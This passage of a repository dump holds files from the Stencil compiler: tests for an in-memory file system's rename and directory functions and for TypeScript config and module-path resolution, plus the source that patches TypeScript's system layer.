expect(createDirResults.newDirs).toContain('/a/b/c');\n    expect(createDirResults.error).toBe(null);\n  });\n\n  it('rename file', async () => {\n    await sys.createDir('/dir');\n    await sys.writeFile('/dir/file-old', 'content');\n    const results = await sys.rename('/dir/file-old', '/dir/file-new');\n    expect(results.error).toBe(null);\n    expect(results.isDirectory).toBe(false);\n    expect(results.isFile).toBe(true);\n    expect(results.oldDirs).toHaveLength(0);\n    expect(results.newDirs).toHaveLength(0);\n    expect(results.oldFiles).toHaveLength(1);\n    expect(results.newFiles).toHaveLength(1);\n    expect(results.renamed).toEqual([\n      {\n        oldPath: '/dir/file-old',\n        newPath: '/dir/file-new',\n        isDirectory: false,\n        isFile: true,\n      },\n    ]);\n\n    expect((await sys.stat('/dir/file-old')).error).toBe(`ENOENT: no such file or directory, statSync '/dir/file-old'`);\n\n    const newStat = await sys.stat('/dir/file-new');\n    expect(newStat.isFile).toBe(true);\n\n    const content = await sys.readFile('/dir/file-new');\n    expect(content).toBe('content');\n  });\n\n  it('rename directory', async () => {\n    await sys.createDir('/old');\n    const results = await sys.rename('/old', '/new');\n    expect(results.error).toBe(null);\n    expect(results.isDirectory).toBe(true);\n    expect(results.isFile).toBe(false);\n    expect(results.oldDirs).toHaveLength(1);\n    expect(results.oldDirs).toContain('/old');\n    expect(results.newDirs).toHaveLength(1);\n    expect(results.newDirs).toContain('/new');\n    expect(results.oldFiles).toHaveLength(0);\n    expect(results.newFiles).toHaveLength(0);\n    expect(results.renamed).toEqual([\n      {\n        oldPath: '/old',\n        newPath: '/new',\n        isDirectory: true,\n        isFile: false,\n      },\n    ]);\n\n    const oldStat = await sys.stat('/old');\n    expect(oldStat.error).toBe(`ENOENT: no such file or directory, statSync '/old'`);\n\n    const newStat = await sys.stat('/new');\n    expect(newStat.isDirectory).toBe(true);\n  });\n\n  it('rename directory, deep path', async () => {\n    await sys.createDir('/z');\n    const results = await sys.rename('/z', '/a/b/c');\n    expect(results.error).toBe(null);\n    expect(results.isDirectory).toBe(true);\n    expect(results.isFile).toBe(false);\n    expect(results.oldDirs).toHaveLength(1);\n    expect(results.oldDirs).toContain('/z');\n    expect(results.newDirs).toHaveLength(3);\n    expect(results.newDirs).toContain('/a');\n    expect(results.newDirs).toContain('/a/b');\n    expect(results.newDirs).toContain('/a/b/c');\n    expect(results.oldFiles).toHaveLength(0);\n    expect(results.newFiles).toHaveLength(0);\n    expect(results.renamed).toEqual([\n      {\n        oldPath: '/z',\n        newPath: '/a/b/c',\n        isDirectory: true,\n        isFile: false,\n      },\n    ]);\n\n    const oldStat = await sys.stat('/z');\n    expect(oldStat.error).not.toBe(null);\n\n    const newAStat = await sys.stat('/a');\n    expect(newAStat.isDirectory).toBe(true);\n    const newABStat = await sys.stat('/a/b');\n    expect(newABStat.isDirectory).toBe(true);\n    const newABCStat = await sys.stat('/a/b/c');\n    expect(newABCStat.isDirectory).toBe(true);\n  });\n\n  it('get home directory', async () => {\n    const homedir = sys.homeDir();\n    expect(typeof homedir).toBe('string');\n  });\n\n  it('rename directory, with files/subfolders', async () => {\n    await sys.createDir('/x/y/z', { recursive: true });\n    await sys.createDir('/x/y/y1-dir', { recursive: true });\n    await sys.createDir('/x/y/y2-dir', { recursive: true });\n    await sys.writeFile('/x/y/y1-dir/y1-file', 'y1-file');\n    await sys.writeFile('/x/y/y2-dir/y2-file', 'y2-file');\n    await sys.writeFile('/x/x1-file', 'x1-file');\n    await sys.writeFile('/x/x2-file', 'x2-file');\n    await sys.writeFile('/x/y/z/z1-file', 'z1-file');\n\n    const results = await sys.rename('/x', '/a/b/c');\n\n    const stat1 = await sys.stat('/x');\n    expect(stat1.error).toBe(`ENOENT: no such file or directory, statSync '/x'`);\n    expect(stat1.isFile).toBe(false);\n    expect(stat1.isDirectory).toBe(false);\n    expect(stat1.isSymbolicLink).toBe(false);\n    expect(stat1.size).toBe(0);\n\n    const stat2 = await sys.stat('/x/y');\n    expect(stat2.error).not.toBe(null);\n\n    expect((await sys.stat('/x/y/z')).error).not.toBe(null);\n\n    expect((await sys.stat('/a')).isDirectory).toBe(true);\n    expect((await sys.stat('/a/b')).isDirectory).toBe(true);\n    expect((await sys.stat('/a/b/c')).isDirectory).toBe(true);\n    expect((await sys.stat('/a/b/c/y')).isDirectory).toBe(true);\n    expect((await sys.stat('/a/b/c/y/y1-dir')).isDirectory).toBe(true);\n    expect((await sys.stat('/a/b/c/y/y2-dir')).isDirectory).toBe(true);\n\n    expect((await sys.stat('/a/b/c/y/y1-dir/y1-file')).isFile).toBe(true);\n    expect(await sys.readFile('/a/b/c/y/y1-dir/y1-file')).toBe('y1-file');\n\n    expect((await sys.stat('/a/b/c/y/y2-dir/y2-file')).isFile).toBe(true);\n    expect(await sys.readFile('/a/b/c/y/y2-dir/y2-file')).toBe('y2-file');\n\n    expect((await sys.stat('/x/x1-file')).error).not.toBe(null);\n    expect((await sys.stat('/a/b/c/x1-file')).isFile).toBe(true);\n    expect(await sys.readFile('/a/b/c/x1-file')).toBe('x1-file');\n\n    expect((await sys.stat('/x/x2-file')).error).not.toBe(null);\n    expect((await sys.stat('/a/b/c/x2-file')).isFile).toBe(true);\n    expect(await sys.readFile('/a/b/c/x2-file')).toBe('x2-file');\n\n    expect((await sys.stat('/x/y/z/z1-file')).error).not.toBe(null);\n    expect((await sys.stat('/a/b/c/y/z/z1-file')).isFile).toBe(true);\n    expect(await sys.readFile('/a/b/c/y/z/z1-file')).toBe('z1-file');\n\n    expect(results.error).toBe(null);\n    expect(results.oldDirs).toEqual(['/x/y/y1-dir', '/x/y/y2-dir', '/x/y/z', '/x/y', '/x']);\n    expect(results.oldFiles).toEqual([\n      '/x/x1-file',\n      '/x/x2-file',\n      '/x/y/y1-dir/y1-file',\n      '/x/y/y2-dir/y2-file',\n      '/x/y/z/z1-file',\n    ]);\n    expect(results.newDirs).toEqual([\n      '/a',\n      '/a/b',\n      '/a/b/c',\n      '/a/b/c/y',\n      '/a/b/c/y/y1-dir',\n      '/a/b/c/y/y2-dir',\n      '/a/b/c/y/z',\n    ]);\n    expect(results.newFiles).toEqual([\n      '/a/b/c/x1-file',\n      '/a/b/c/x2-file',\n      '/a/b/c/y/y1-dir/y1-file',\n      '/a/b/c/y/y2-dir/y2-file',\n      '/a/b/c/y/z/z1-file',\n    ]);\n\n    expect(results.renamed).toEqual([\n      {\n        oldPath: '/x',\n        newPath: '/a/b/c',\n        isDirectory: true,\n        isFile: false,\n      },\n      {\n        oldPath: '/x/x1-file',\n        newPath: '/a/b/c/x1-file',\n        isDirectory: false,\n        isFile: true,\n      },\n      {\n        oldPath: '/x/x2-file',\n        newPath: '/a/b/c/x2-file',\n        isDirectory: false,\n        isFile: true,\n      },\n      {\n        oldPath: '/x/y',\n        newPath: '/a/b/c/y',\n        isDirectory: true,\n        isFile: false,\n      },\n      {\n        oldPath: '/x/y/y1-dir',\n        newPath: '/a/b/c/y/y1-dir',\n        isDirectory: true,\n        isFile: false,\n      },\n      {\n        oldPath: '/x/y/y1-dir/y1-file',\n        newPath: '/a/b/c/y/y1-dir/y1-file',\n        isDirectory: false,\n        isFile: true,\n      },\n      {\n        oldPath: '/x/y/y2-dir',\n        newPath: '/a/b/c/y/y2-dir',\n        isDirectory: true,\n        isFile: false,\n      },\n      {\n        oldPath: '/x/y/y2-dir/y2-file',\n        newPath: '/a/b/c/y/y2-dir/y2-file',\n        isDirectory: false,\n        isFile: true,\n      },\n      {\n        oldPath: '/x/y/z',\n        newPath: '/a/b/c/y/z',\n        isDirectory: true,\n        isFile: false,\n      },\n      {\n        oldPath: '/x/y/z/z1-file',\n        newPath: '/a/b/c/y/z/z1-file',\n        isDirectory: false,\n        isFile: true,\n      },\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/sys/typescript/tests/typescript-config.spec.ts",
    "content": "import ts from 'typescript';\n\nimport { ValidatedConfig } from '../../../../declarations';\nimport { mockValidatedConfig } from '../../../../testing/mocks';\nimport { createTestingSystem, TestingSystem } from '../../../../testing/testing-sys';\nimport * as tsConfig from '../typescript-config';\n\ndescribe('typescript-config', () => {\n  describe('hasSrcDirectoryInclude', () => {\n    it('returns `false` for a non-array argument', () => {\n      // the intent of this test is to evaluate when a user doesn't provide an array, hence the type assertion\n      expect(tsConfig.hasSrcDirectoryInclude('src' as unknown as string[], 'src')).toBe(false);\n    });\n\n    it('returns `false` for an empty array', () => {\n      expect(tsConfig.hasSrcDirectoryInclude([], 'src/')).toBe(false);\n    });\n\n    it('returns `false` when an entry does not exist in the array', () => {\n      expect(tsConfig.hasSrcDirectoryInclude(['src'], 'source')).toBe(false);\n    });\n\n    it('returns `true` when an entry does exist in the array', () => {\n      expect(tsConfig.hasSrcDirectoryInclude(['src', 'foo'], 'src')).toBe(true);\n    });\n\n    it('returns `true` for globs', () => {\n      expect(tsConfig.hasSrcDirectoryInclude(['src/**/*.ts', 'foo/'], 'src/**/*.ts')).toBe(true);\n    });\n\n    it.each([\n      [['src'], './src'],\n      [['./src'], 'src'],\n      [['../src'], '../src'],\n      [['*'], './*'],\n    ])('returns `true` for relative paths', (includedPaths, srcDir) => {\n      expect(tsConfig.hasSrcDirectoryInclude(includedPaths, srcDir)).toBe(true);\n    });\n  });\n\n  describe('validateTsConfig', () => {\n    let mockSys: TestingSystem;\n    let config: ValidatedConfig;\n    let tsSpy: jest.SpyInstance;\n\n    beforeEach(() => {\n      mockSys = createTestingSystem();\n      config = mockValidatedConfig();\n\n      jest.spyOn(tsConfig, 'getTsConfigPath').mockResolvedValue({\n        path: 'tsconfig.json',\n        content: '',\n      });\n      tsSpy = jest.spyOn(ts, 'getParsedCommandLineOfConfigFile');\n    });\n\n    it('includes watchOptions when provided', async () => {\n      tsSpy.mockReturnValueOnce({\n        watchOptions: {\n          excludeFiles: ['exclude.ts'],\n          excludeDirectories: ['exclude-dir'],\n        },\n        options: null,\n        fileNames: [],\n        errors: [],\n      });\n\n      const result = await tsConfig.validateTsConfig(config, mockSys, {});\n      expect(result.watchOptions).toEqual({\n        excludeFiles: ['exclude.ts'],\n        excludeDirectories: ['exclude-dir'],\n      });\n    });\n\n    it('does not include watchOptions when not provided', async () => {\n      tsSpy.mockReturnValueOnce({\n        options: null,\n        fileNames: [],\n        errors: [],\n      });\n\n      const result = await tsConfig.validateTsConfig(config, mockSys, {});\n      expect(result.watchOptions).toEqual({});\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/sys/typescript/tests/typescript-resolve-module.spec.ts",
    "content": "import type * as d from '../../../../declarations';\nimport { createSystem } from '../../../sys/stencil-sys';\nimport { ensureExtension } from '../typescript-resolve-module';\n\ndescribe('typescript resolve module', () => {\n  const config: d.Config = { rootDir: '/some/path' };\n\n  beforeEach(() => {\n    config.rootDir = '/some/path';\n    config.sys = createSystem();\n  });\n\n  describe('ensureExtension', () => {\n    it('add d.ts ext as the containing url', () => {\n      const url = 'http://stencil.com/filename';\n      const containingUrl = 'http://stencil.com/index.d.ts';\n      const r = ensureExtension(url, containingUrl);\n      expect(r).toBe('http://stencil.com/filename.d.ts');\n    });\n\n    it('add js ext as the containing url', () => {\n      const url = 'http://stencil.com/filename';\n      const containingUrl = 'http://stencil.com/index.js';\n      const r = ensureExtension(url, containingUrl);\n      expect(r).toBe('http://stencil.com/filename.js');\n    });\n\n    it('do nothing when url already had an ext', () => {\n      const url = 'http://stencil.com/filename.js';\n      const containingUrl = 'http://stencil.com/index.js';\n      const r = ensureExtension(url, containingUrl);\n      expect(r).toBe(url);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/sys/typescript/tests/typescript-sys.spec.ts",
    "content": "import { mockValidatedConfig } from '@stencil/core/testing';\n\nimport { createSystem } from '../../../../compiler/sys/stencil-sys';\nimport type * as d from '../../../../declarations';\nimport { getTypescriptPathFromUrl } from '../typescript-sys';\n\ndescribe('getTypescriptPathFromUrl', () => {\n  const config: d.ValidatedConfig = mockValidatedConfig({\n    rootDir: '/some/path/',\n    sys: createSystem(),\n  });\n\n  it('not typescript, return url', () => {\n    const tsExecutingUrl = 'https://cdn.jsdelivr.net/npm/@stencil/core@2.0.0/compiler/stencil.js';\n    const url = 'https://cdn.jsdelivr.net/npm/something/index.js';\n    const r = getTypescriptPathFromUrl(config, tsExecutingUrl, url);\n    expect(r).toBe('https://cdn.jsdelivr.net/npm/something/index.js');\n  });\n\n  it('ts path from url, version', () => {\n    const tsExecutingUrl = 'https://cdn.jsdelivr.net/npm/@stencil/core@2.0.0/compiler/stencil.js';\n    const url = 'https://cdn.jsdelivr.net/npm/@stencil/core@2.0.0/compiler/lib.es2015.proxy.d.ts';\n    const r = getTypescriptPathFromUrl(config, tsExecutingUrl, url);\n    expect(r).toBe('/some/path/node_modules/@stencil/core/compiler/lib.es2015.proxy.d.ts');\n  });\n\n  it('ts path from url, no version', () => {\n    const tsExecutingUrl = 'https://cdn.jsdelivr.net/npm/@stencil/core/compiler/stencil.js';\n    const url = 'https://cdn.jsdelivr.net/npm/@stencil/core/compiler/lib.es2015.proxy.d.ts';\n    const r = getTypescriptPathFromUrl(config, tsExecutingUrl, url);\n    expect(r).toBe('/some/path/node_modules/@stencil/core/compiler/lib.es2015.proxy.d.ts');\n  });\n});\n"
  },
  {
    "path": "src/compiler/sys/typescript/typescript-config.ts",
    "content": "import {\n  buildError,\n  buildWarn,\n  catchError,\n  isString,\n  join,\n  loadTypeScriptDiagnostic,\n  normalizePath,\n  relative,\n} from '@utils';\nimport { isAbsolute } from 'path';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\n\nexport const validateTsConfig = async (config: d.ValidatedConfig, sys: d.CompilerSystem, init: d.LoadConfigInit) => {\n  const tsconfig = {\n    path: '',\n    compilerOptions: {} as ts.CompilerOptions,\n    watchOptions: {} as ts.WatchOptions,\n    files: [] as string[],\n    include: [] as string[],\n    exclude: [] as string[],\n    extends: '',\n    diagnostics: [] as d.Diagnostic[],\n  };\n\n  try {\n    const readTsConfig = await getTsConfigPath(config, sys, init);\n    if (!readTsConfig) {\n      const diagnostic = buildError(tsconfig.diagnostics);\n      diagnostic.header = `Missing tsconfig.json`;\n      diagnostic.messageText = `Unable to load TypeScript config file. Please create a \"tsconfig.json\" file within the \"${config.rootDir}\" directory.`;\n    } else {\n      tsconfig.path = readTsConfig.path;\n      const host: ts.ParseConfigFileHost = {\n        ...ts.sys,\n        readFile: (p) => {\n          if (p === tsconfig.path) {\n            return readTsConfig.content;\n          }\n          return sys.readFileSync(p);\n        },\n        readDirectory: (p) => sys.readDirSync(p),\n        fileExists: (p) => sys.accessSync(p),\n        onUnRecoverableConfigFileDiagnostic: (e: any) => console.error(e),\n      };\n\n      const results = ts.getParsedCommandLineOfConfigFile(tsconfig.path, {}, host);\n\n      if (results === undefined) {\n        throw 'Encountered an error reading tsconfig!';\n      }\n\n      if (results.errors && results.errors.length > 0) {\n        results.errors.forEach((configErr) => {\n          const tsDiagnostic = loadTypeScriptDiagnostic(configErr);\n          if (tsDiagnostic.code === '18003') {\n            // \"No inputs were found in config file\"\n            // fine to just \"warn\" rather than \"error\" even before starting\n            tsDiagnostic.level = 'warn';\n          }\n          tsDiagnostic.absFilePath = tsconfig.path;\n          tsconfig.diagnostics.push(tsDiagnostic);\n        });\n      } else {\n        if (results.raw) {\n          const srcDir = relative(config.rootDir, config.srcDir);\n          if (!hasSrcDirectoryInclude(results.raw.include, srcDir)) {\n            const warn = buildWarn(tsconfig.diagnostics);\n            warn.header = `tsconfig.json \"include\" required`;\n            warn.messageText = `In order for TypeScript to improve watch performance, it's recommended the \"tsconfig.json\" file should have the \"include\" property, with at least the app's \"${srcDir}\" directory listed. For example: \"include\": [\"${srcDir}\"]`;\n          }\n\n          if (hasStencilConfigInclude(results.raw.include)) {\n            const warn = buildWarn(tsconfig.diagnostics);\n            warn.header = `tsconfig.json should not reference stencil.config.ts`;\n            warn.messageText = `stencil.config.ts is not part of the output build, it should not be included.`;\n          }\n\n          if (Array.isArray(results.raw.files)) {\n            tsconfig.files = results.raw.files.slice();\n          }\n          if (Array.isArray(results.raw.include)) {\n            tsconfig.include = results.raw.include.slice();\n          }\n          if (Array.isArray(results.raw.exclude)) {\n            tsconfig.exclude = results.raw.exclude.slice();\n          }\n          if (isString(results.raw.extends)) {\n            tsconfig.extends = results.raw.extends;\n          }\n        }\n\n        if (results.watchOptions) {\n          tsconfig.watchOptions = results.watchOptions;\n        }\n\n        if (results.options) {\n          tsconfig.compilerOptions = results.options;\n\n          const target = tsconfig.compilerOptions.target ?? ts.ScriptTarget.ES5;\n          if (\n            [ts.ScriptTarget.ES3, ts.ScriptTarget.ES5, ts.ScriptTarget.ES2015, ts.ScriptTarget.ES2016].includes(target)\n          ) {\n            const warn = buildWarn(tsconfig.diagnostics);\n            warn.messageText = `To improve bundling, it is always recommended to set the tsconfig.json “target” setting to \"es2017\". Note that the compiler will automatically handle transpilation for ES5-only browsers.`;\n          }\n\n          if (tsconfig.compilerOptions.module !== ts.ModuleKind.ESNext && !config._isTesting) {\n            const warn = buildWarn(tsconfig.diagnostics);\n            warn.messageText = `To improve bundling, it is always recommended to set the tsconfig.json “module” setting to “esnext”. Note that the compiler will automatically handle bundling both modern and legacy builds.`;\n          }\n\n          tsconfig.compilerOptions.sourceMap = config.sourceMap;\n          tsconfig.compilerOptions.inlineSources = config.sourceMap;\n        }\n      }\n    }\n  } catch (e: any) {\n    catchError(tsconfig.diagnostics, e);\n  }\n\n  return tsconfig;\n};\n\nexport const getTsConfigPath = async (\n  config: d.ValidatedConfig,\n  sys: d.CompilerSystem,\n  init: d.LoadConfigInit,\n): Promise<{\n  path: string;\n  content: string;\n} | null> => {\n  const tsconfig = {\n    path: '',\n    content: '',\n  };\n\n  if (isString(config.tsconfig)) {\n    if (!isAbsolute(config.tsconfig)) {\n      tsconfig.path = join(config.rootDir, config.tsconfig);\n    } else {\n      tsconfig.path = config.tsconfig;\n    }\n  } else {\n    tsconfig.path = join(config.rootDir, 'tsconfig.json');\n  }\n\n  tsconfig.content = await sys.readFile(tsconfig.path);\n  if (!isString(tsconfig.content)) {\n    if (!init.initTsConfig) {\n      // not set to automatically generate a default tsconfig\n      return null;\n    }\n\n    // create a default tsconfig\n    tsconfig.path = join(config.rootDir, 'tsconfig.json');\n    tsconfig.content = createDefaultTsConfig(config);\n    await sys.writeFile(tsconfig.path, tsconfig.content);\n  }\n\n  tsconfig.path = normalizePath(tsconfig.path);\n\n  return tsconfig;\n};\n\nconst createDefaultTsConfig = (config: d.ValidatedConfig) =>\n  JSON.stringify(\n    {\n      compilerOptions: {\n        allowSyntheticDefaultImports: true,\n        experimentalDecorators: true,\n        lib: ['dom', 'es2015'],\n        moduleResolution: 'node',\n        module: 'esnext',\n        target: 'es2017',\n        jsx: 'react',\n        jsxFactory: 'h',\n        jsxFragmentFactory: 'Fragment',\n        sourceMap: config.sourceMap,\n        inlineSources: config.sourceMap,\n      },\n      include: [relative(config.rootDir, config.srcDir)],\n    },\n    null,\n    2,\n  );\n\n/**\n * Determines if the included `src` argument belongs in `includeProp`.\n *\n * This function normalizes the paths found in both arguments, to catch cases where it's called with:\n * ```ts\n * hasSrcDirectoryInclude(['src'], './src'); // should return `true`\n * ```\n *\n * @param includeProp the paths in `include` that should be tested\n * @param src the path to find in `includeProp`\n * @returns true if the provided `src` directory is found, `false` otherwise\n */\nexport const hasSrcDirectoryInclude = (includeProp: string[], src: string): boolean =>\n  Array.isArray(includeProp) &&\n  includeProp.some((included) => normalizePath(included, false) === normalizePath(src, false));\n\nconst hasStencilConfigInclude = (includeProp: string[]) =>\n  Array.isArray(includeProp) && includeProp.includes('stencil.config.ts');\n"
  },
  {
    "path": "src/compiler/sys/typescript/typescript-resolve-module.ts",
    "content": "import { isDtsFile, isJsFile, isJsxFile, isString, isTsFile, isTsxFile, join, normalizePath, resolve } from '@utils';\nimport { basename, dirname } from 'path';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { patchTsSystemFileSystem } from './typescript-sys';\n\nexport const tsResolveModuleName = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  moduleName: string,\n  containingFile: string,\n) => {\n  const resolveModuleName: typeof ts.resolveModuleName = (ts as any).__resolveModuleName || ts.resolveModuleName;\n\n  if (moduleName && resolveModuleName && config.tsCompilerOptions) {\n    const host: ts.ModuleResolutionHost = patchTsSystemFileSystem(config, config.sys, compilerCtx.fs, ts.sys);\n\n    const compilerOptions: ts.CompilerOptions = { ...config.tsCompilerOptions };\n    compilerOptions.resolveJsonModule = true;\n    return resolveModuleName(moduleName, containingFile, compilerOptions, host);\n  }\n\n  return null;\n};\n\nexport const tsGetSourceFile = (config: d.ValidatedConfig, module: ts.ResolvedModuleWithFailedLookupLocations) => {\n  if (!module || !module.resolvedModule) {\n    return null;\n  }\n  const compilerOptions: ts.CompilerOptions = { ...config.tsCompilerOptions };\n  const host = ts.createCompilerHost(compilerOptions);\n  const program = ts.createProgram([module.resolvedModule.resolvedFileName], compilerOptions, host);\n  return program.getSourceFile(module.resolvedModule.resolvedFileName);\n};\n\nexport const tsResolveModuleNamePackageJsonPath = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  moduleName: string,\n  containingFile: string,\n) => {\n  try {\n    const resolvedModule = tsResolveModuleName(config, compilerCtx, moduleName, containingFile);\n    if (resolvedModule && resolvedModule.resolvedModule && resolvedModule.resolvedModule.resolvedFileName) {\n      const rootDir = resolve('/');\n      let resolvedFileName = resolvedModule.resolvedModule.resolvedFileName;\n\n      for (let i = 0; i < 30; i++) {\n        if (rootDir === resolvedFileName) {\n          return null;\n        }\n        resolvedFileName = dirname(resolvedFileName);\n        const pkgJsonPath = join(resolvedFileName, 'package.json');\n        const exists = config.sys.accessSync(pkgJsonPath);\n        if (exists) {\n          return normalizePath(pkgJsonPath);\n        }\n      }\n    }\n  } catch (e) {\n    config.logger.error(e);\n  }\n  return null;\n};\n\nexport const ensureExtension = (fileName: string, containingFile: string) => {\n  if (!basename(fileName).includes('.') && isString(containingFile)) {\n    containingFile = containingFile.toLowerCase();\n    if (isJsFile(containingFile)) {\n      fileName += '.js';\n    } else if (isDtsFile(containingFile)) {\n      fileName += '.d.ts';\n    } else if (isTsxFile(containingFile)) {\n      fileName += '.tsx';\n    } else if (isTsFile(containingFile)) {\n      fileName += '.ts';\n    } else if (isJsxFile(containingFile)) {\n      fileName += '.jsx';\n    }\n  }\n\n  return fileName;\n};\n"
  },
  {
    "path": "src/compiler/sys/typescript/typescript-sys.ts",
    "content": "import { isRemoteUrl, isString, noop, normalizePath, resolve } from '@utils';\nimport { basename } from 'path';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { IS_CASE_SENSITIVE_FILE_NAMES } from '../environment';\nimport { InMemoryFileSystem } from '../in-memory-fs';\n\n// TODO(STENCIL-728): fix typing of `inMemoryFs` parameter in `patchTypescript`, related functions\nexport const patchTsSystemFileSystem = (\n  config: d.ValidatedConfig,\n  compilerSys: d.CompilerSystem,\n  inMemoryFs: InMemoryFileSystem,\n  tsSys: ts.System,\n): ts.System => {\n  const realpath = (path: string) => {\n    const rp = compilerSys.realpathSync(path);\n    if (isString(rp)) {\n      return rp;\n    }\n    return path;\n  };\n\n  const getAccessibleFileSystemEntries = (path: string) => {\n    try {\n      const entries = compilerSys.readDirSync(path || '.').sort();\n      const files: string[] = [];\n      const directories: string[] = [];\n\n      for (const absPath of entries) {\n        // This is necessary because on some file system node fails to exclude\n        // \".\" and \"..\". See https://github.com/nodejs/node/issues/4002\n        const stat = inMemoryFs.statSync(absPath);\n        if (!stat) {\n          continue;\n        }\n\n        const entry = basename(absPath);\n        if (stat.isFile) {\n          files.push(entry);\n        } else if (stat.isDirectory) {\n          directories.push(entry);\n        }\n      }\n      return { files, directories };\n    } catch (e) {\n      return { files: [], directories: [] };\n    }\n  };\n\n  tsSys.createDirectory = (p) => {\n    compilerSys.createDirSync(p, { recursive: true });\n  };\n\n  tsSys.directoryExists = (p) => {\n    // At present the typing for `inMemoryFs` in this function is not accurate\n    // TODO(STENCIL-728): fix typing of `inMemoryFs` parameter in `patchTypescript`, related functions\n    if (inMemoryFs) {\n      const s = inMemoryFs.statSync(p);\n      return s.isDirectory;\n    } else {\n      const s = compilerSys.statSync(p);\n      return s.isDirectory;\n    }\n  };\n\n  tsSys.exit = compilerSys.exit;\n\n  tsSys.fileExists = (p) => {\n    let filePath = p;\n\n    if (isRemoteUrl(p)) {\n      filePath = getTypescriptPathFromUrl(config, tsSys.getExecutingFilePath(), p);\n    }\n\n    // At present the typing for `inMemoryFs` in this function is not accurate\n    // TODO(STENCIL-728): fix typing of `inMemoryFs` parameter in `patchTypescript`, related functions\n    if (inMemoryFs) {\n      const s = inMemoryFs.statSync(filePath);\n      return !!(s && s.isFile);\n    } else {\n      const s = compilerSys.statSync(filePath);\n      return !!(s && s.isFile);\n    }\n  };\n\n  tsSys.getCurrentDirectory = compilerSys.getCurrentDirectory;\n\n  tsSys.getExecutingFilePath = compilerSys.getCompilerExecutingPath;\n\n  tsSys.getDirectories = (p) => {\n    const items = compilerSys.readDirSync(p);\n    return items.filter((itemPath) => {\n      // At present the typing for `inMemoryFs` in this function is not accurate\n      // TODO(STENCIL-728): fix typing of `inMemoryFs` parameter in `patchTypescript`, related functions\n      if (inMemoryFs) {\n        const s = inMemoryFs.statSync(itemPath);\n        return !!(s && s.exists && s.isDirectory);\n      } else {\n        const s = compilerSys.statSync(itemPath);\n        return !!(s && s.isDirectory);\n      }\n    });\n  };\n\n  tsSys.readDirectory = (path, extensions, exclude, include, depth) => {\n    const cwd = compilerSys.getCurrentDirectory();\n    // TODO(STENCIL-344): Replace `matchFiles` with a function that is publicly exposed\n    return (ts as any).matchFiles(\n      path,\n      extensions,\n      exclude,\n      include,\n      IS_CASE_SENSITIVE_FILE_NAMES,\n      cwd,\n      depth,\n      getAccessibleFileSystemEntries,\n      realpath,\n    );\n  };\n\n  tsSys.readFile = (filePath) => {\n    return inMemoryFs ? inMemoryFs.readFileSync(filePath, { useCache: false }) : compilerSys.readFileSync(filePath);\n  };\n\n  // At present the typing for `inMemoryFs` in this function is not accurate\n  // TODO(STENCIL-728): fix typing of `inMemoryFs` parameter in `patchTypescript`, related functions\n  tsSys.writeFile = (p, data) => (inMemoryFs ? inMemoryFs.writeFile(p, data) : compilerSys.writeFile(p, data));\n\n  return tsSys;\n};\n\nconst patchTsSystemWatch = (compilerSystem: d.CompilerSystem, tsSys: ts.System) => {\n  tsSys.watchDirectory = (p, cb, recursive) => {\n    const watcher = compilerSystem.watchDirectory(\n      p,\n      (filePath) => {\n        cb(filePath);\n      },\n      recursive,\n    );\n    return {\n      close() {\n        watcher.close();\n      },\n    };\n  };\n\n  tsSys.watchFile = (p, cb) => {\n    const watcher = compilerSystem.watchFile(p, (filePath, eventKind) => {\n      if (eventKind === 'fileAdd') {\n        cb(filePath, ts.FileWatcherEventKind.Created);\n      } else if (eventKind === 'fileUpdate') {\n        cb(filePath, ts.FileWatcherEventKind.Changed);\n      } else if (eventKind === 'fileDelete') {\n        cb(filePath, ts.FileWatcherEventKind.Deleted);\n      }\n    });\n    return {\n      close() {\n        watcher.close();\n      },\n    };\n  };\n};\n\n// TODO(STENCIL-728): fix typing of `inMemoryFs` parameter in `patchTypescript`, related functions\nexport const patchTypescript = (config: d.ValidatedConfig, inMemoryFs: InMemoryFileSystem) => {\n  if (!(ts as any).__patched) {\n    patchTsSystemFileSystem(config, config.sys, inMemoryFs, ts.sys);\n    patchTsSystemWatch(config.sys, ts.sys);\n    (ts as any).__patched = true;\n  }\n};\n\nconst patchTypeScriptSysMinimum = () => {\n  if (!ts.sys) {\n    // patches just the bare minimum\n    // if ts.sys already exists then it must be node ts.sys\n    // otherwise we're browser\n    // will be updated later on with the stencil sys\n    ts.sys = {\n      args: [],\n      createDirectory: noop,\n      directoryExists: () => false,\n      exit: noop,\n      fileExists: () => false,\n      getCurrentDirectory: process.cwd,\n      getDirectories: () => [],\n      getExecutingFilePath: () => './',\n      readDirectory: () => [],\n      readFile: noop,\n      newLine: '\\n',\n      resolvePath: resolve,\n      useCaseSensitiveFileNames: false,\n      write: noop,\n      writeFile: noop,\n    };\n  }\n};\npatchTypeScriptSysMinimum();\n\nexport const getTypescriptPathFromUrl = (config: d.ValidatedConfig, tsExecutingUrl: string, url: string) => {\n  const tsBaseUrl = new URL('..', tsExecutingUrl).href;\n  if (url.startsWith(tsBaseUrl)) {\n    const tsFilePath = url.replace(tsBaseUrl, '/');\n    const tsNodePath = config.sys.getLocalModulePath({\n      rootDir: config.rootDir,\n      moduleId: '@stencil/core',\n      path: tsFilePath,\n    });\n    return normalizePath(tsNodePath);\n  }\n  return url;\n};\n"
  },
  {
    "path": "src/compiler/sys/worker/sys-worker.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { isFunction } from '@utils';\n\nimport { createWorkerMainContext } from '../../worker/main-thread';\nimport { createWorkerContext } from '../../worker/worker-thread';\n\n/**\n * Create a worker context given a Stencil config. If\n * {@link d.Config['maxConcurrentWorkers']} is set to an appropriate value this\n * will be a worker context that dispatches work to other threads, and if not it\n * will be a single-threaded worker context.\n *\n * @param config the current stencil config\n * @returns a worker context\n */\nexport const createSysWorker = (config: d.ValidatedConfig): d.CompilerWorkerContext => {\n  if (\n    isFunction(config.sys.createWorkerController) &&\n    config.maxConcurrentWorkers > 0 &&\n    config.sys.hardwareConcurrency > 1\n  ) {\n    const workerCtrl = config.sys.createWorkerController(config.maxConcurrentWorkers);\n\n    config.sys.addDestroy(() => workerCtrl.destroy());\n\n    config.logger.debug(`create workers, maxWorkers: ${workerCtrl.maxWorkers}`);\n    return 